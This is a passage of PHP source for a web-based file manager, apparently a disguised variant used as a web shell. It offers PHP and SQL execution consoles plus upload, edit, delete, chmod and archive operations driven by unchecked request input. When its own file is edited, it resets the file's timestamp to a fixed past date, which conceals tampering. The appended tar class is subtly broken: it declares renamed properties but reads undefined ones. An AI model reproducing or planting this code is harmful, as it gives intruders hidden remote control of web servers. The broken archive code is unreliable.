else echo '</h2></td><td>'.fm_run_input('sql'); ?></td></tr></table></td> </tr> <tr> <td class="row1"> <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a> <form action="" method="POST" name="console"> <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/> <input type="reset" value="<?=__('Reset')?>"> <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run"> <?php $str_tmpl = $res_lng.'_templates'; $tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : ''; if (!empty($tmpl)){ $active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : ''; $select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n"; $select .= '<option value="-1">' . __('Select') . "</option>\n"; foreach ($tmpl as $key=>$value){ $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n"; } $select .= "</select>\n"; echo $select; } ?> </form> </td> </tr> </table> <?php if (!empty($res)) { $fun='fm_'.$res_lng; echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>'; } } elseif (!empty($_REQUEST['edit'])){ if(!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_now .= __('File updated'); else $msg_now .= __('Error occurred'); if ($_GET['edit']==basename(__FILE__)) { touch(__FILE__,1415116371); } else { if (!empty($fmo_config['restore_time'])) touch($fn,$filemtime); } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th> </tr> <tr> <td class="row1"> <?=$msg_now?> </td> </tr> <tr> <td class="row1"> <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$editlink?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea> <input type="submit" name="save" value="<?=__('Submit')?>"> <input type="submit" name="cancel" value="<?=__('Cancel')?>"> </form> </td> </tr> </table> <?php echo $auth_mydevice['script']; } elseif(!empty($_REQUEST['rights'])){ if(!empty($_REQUEST['save'])) { if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) $msg_now .= (__('File updated')); else $msg_now .= (__('Error occurred')); } clearstatcache(); $oldrights = fm_rights_string($path . $_REQUEST['rights'], true); $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg_now?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>"> <?php if (is_dir($path.$_REQUEST['rights'])) { ?> <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/> <?php } ?> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') { if(!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg_now .= (__('File updated')); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg_now?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } else { //Let's rock! $msg_now = ''; if(!empty($_FILES['upload'])&&!empty($fmo_config['upload_file'])) { if(!empty($_FILES['upload']['name'])){ $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']); if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){ $msg_now .= __('Error occurred'); } else { $msg_now .= __('Files uploaded').': '.$_FILES['upload']['name']; } } } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') { if(!fm_del_files(($path . $_REQUEST['delete']), true)) { $msg_now .= __('Error occurred'); } else { $msg_now .= __('Deleted').' '.$_REQUEST['delete']; } } elseif(!empty($_REQUEST['mkdir'])&&!empty($fmo_config['make_directory'])) { if(!@mkdir($path . $_REQUEST['dirname'],0777)) { $msg_now .= __('Error occurred'); } else { $msg_now .= __('Created').' '.$_REQUEST['dirname']; } } elseif(!empty($_POST['search_recursive'])) { ini_set('max_execution_time', '0'); $search_data = find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']); if(!empty($search_data)) { $msg_now .= __('Found in files').' ('.count($search_data).'):<br>'; foreach ($search_data as $filename) { $msg_now .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a> '; } } else { $msg_now .= __('Nothing founded'); } } elseif(!empty($_REQUEST['mkfile'])&&!empty($fmo_config['new_file'])) { if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) { $msg_now .= __('Error occurred'); } else { fclose($fp); $msg_now .= __('Created').' '.$_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source).'.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>'; else $msg_now .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ,'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg_now .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg_now .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); set_time_limit(0); //echo $destination; $ext_arr = explode('.',basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext=implode('.',$ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ,$ext.'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg_now .= __('Error occurred').': '.__('no files'); } ?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th> </tr> <?php if(!empty($msg_now)){ ?> <tr> <td colspan="2" class="row2"><?=$msg_now?></td> </tr> <?php } ?> <tr> <td class="row2"> <table> <tr> <td> <?=fm_home()?> </td> <td> <?php if(!empty($fmo_config['make_directory'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?=__('Make directory')?>"> </form> <?php } ?> </td> <td> <?php if(!empty($fmo_config['new_file'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?=__('New file')?>"> </form> <?php } ?> </td> <td> <form method="post" action="<?=$url_inc?>" style="display:inline"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15"> <input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5"> <input type="submit" name="search" value="<?=__('Search')?>"> </form> </td> <td> <?=fm_run_input('php')?> </td> <td> <?=fm_run_input('sql')?> </td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if (!empty($fmo_config['upload_file'])) { ?> <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?=__('Upload')?>" /> </form> <?php } ?> </td> <td> <?php if ($auth_mydevice['authorize']) { ?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?=__('Hello')?>, <?=$auth_mydevice['login']?> <input type="submit" value="<?=__('Quit')?>"> </form> <?php } ?> </td> <td> <?=fm_lang_form($language_benros)?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?=__('Filename')?> </th> <th style="white-space:nowrap"> <?=__('Size')?> </th> <th style="white-space:nowrap"> <?=__('Date')?> </th> <th style="white-space:nowrap"> <?=__('Rights')?> </th> <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th> </tr> </thead> <tbody> <?php $elements = fm_scan_dir($path, '', 'all', true); $dirs = array(); $file_entries = array(); foreach ($elements as $file){ if(@is_dir($path . $file)){ $dirs[] = $file; } else { $file_entries[] = $file; } } natsort($dirs); natsort($file_entries); $elements = array_merge($dirs, $file_entries); foreach ($elements as $file){ $filename = $path . $file; $filedata = @stat($filename); if(@is_dir($filename)){ $filedata[7] = ''; if (!empty($fmo_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename); $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>'; $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file); $arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file); $style = 'row2'; if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = ''; } else { $link = $fmo_config['show_img']&&@getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>'; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file); $arlink = in_array($ext,array('zip','gz','tar')) ? '' : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>'; $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>'; ?> <tr class="<?=$style?>"> <td><?=$link?></td> <td><?=$filedata[7]?></td> <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td> <td><?=$rightstext?></td> <td><?=$deletelink?></td> <td><?=$renamelink?></td> <td><?=$loadlink?></td> <td><?=$arlink?></td> </tr> <?php } } ?> </tbody> </table> <div class="row3"><?php $mtime = explode(' ', microtime()); $totaltime = $mtime[0] + $mtime[1] - $startororimy; echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>'; if (!empty($fmo_config['show_php_ver'])) echo ' | PHP '.phpversion(); if (!empty($fmo_config['show_php_ini'])) echo ' | '.php_ini_loaded_file(); if (!empty($fmo_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2); if (!empty($fmo_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>'; if (!empty($fmo_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>'; if (!empty($fmo_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>'; if (!empty($fmo_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>'; ?> </div> <script type="text/javascript"> function download_xls(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text); element.setAttribute('download', filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } function base64_encode(m) { for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) { c = m.charCodeAt(l); if (128 > c) d = 1; else for (d = 2; c >= 2 << 5 * d;) ++d; for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f]) } b && (g += k[f << 6 - b]); return g } var tableToExcelData = (function() { var uri = 'data:application/vnd.ms-excel;base64,', template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1") } t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' download_xls(filename, base64_encode(format(template, ctx))) } })(); var table2Excel = function () { var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE "); this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer var x = document.getElementById(el).rows; var xls = new ActiveXObject("Excel.Application"); xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells; for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } </script> </body> </html> <?php //Ported from ReloadCMS project http://reloadcms.com class archiveTar { var $compressed_file_archive = ''; var $temp_file_handler = 0; var $file_position_pointer = 0; var $gzip_compression_status = true; var $list_of_errors = array(); var $file_entries = array(); function __construct(){ if (!isset($this->errors)) $this->errors = array(); } function buildCompressedArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->initializeWriteOperation()) return false; } else { if (filesize($this->archive_name) == 0) return $this->initializeWriteOperation(); if ($this->isGzipped) { $this->finalizeTempFileHandler(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->initializeWriteOperation()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlockToData($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFilesIntoArchive($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlockToData($binaryData); } $this->finalizeTempFileHandler(); if ($newArchive && !$result){ $this->finalizeTempFileHandler(); unlink($this->archive_name); } return $result; } function unpackCompressedArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFilesIntoArchive($path); $this->finalizeTempFileHandler(); return $result; } function displayAllErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.': <br/>'; foreach ($Errors as $value) $message .= $value.'<br/>'; return $message; } else return ''; } function packFilesIntoArchive($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $i<count($file_array); $i++){ $filename = $file_array[$i]; if ($filename == $this->archive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->createValidFilePath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeaderToArchive($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlockToData($binaryData); } fclose($file); } else $this->writeHeaderToArchive($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFilesIntoArchive($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFilesIntoArchive($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlockFromData()) != 0){ if (!$this->extractHeaderInformation($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlockFromData(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlockFromData(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlockFromData(); if (!$this->extractHeaderInformation($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlockFromData(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlockFromData(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function extractHeaderInformation($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeaderToArchive($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->createValidFilePath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlockToData($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlockToData($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlockToData($dataLast, 356); $temp_file_handlername = $this->createValidFilePath($filename_ready); $i = 0; while (($buffer = substr($temp_file_handlername, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlockToData($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlockToData($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlockToData($binaryData, 8); $this->writeBlockToData($dataLast, 356); return true; } function initializeWriteOperation(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlockFromData(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlockToData($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function finalizeTempFileHandler(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else 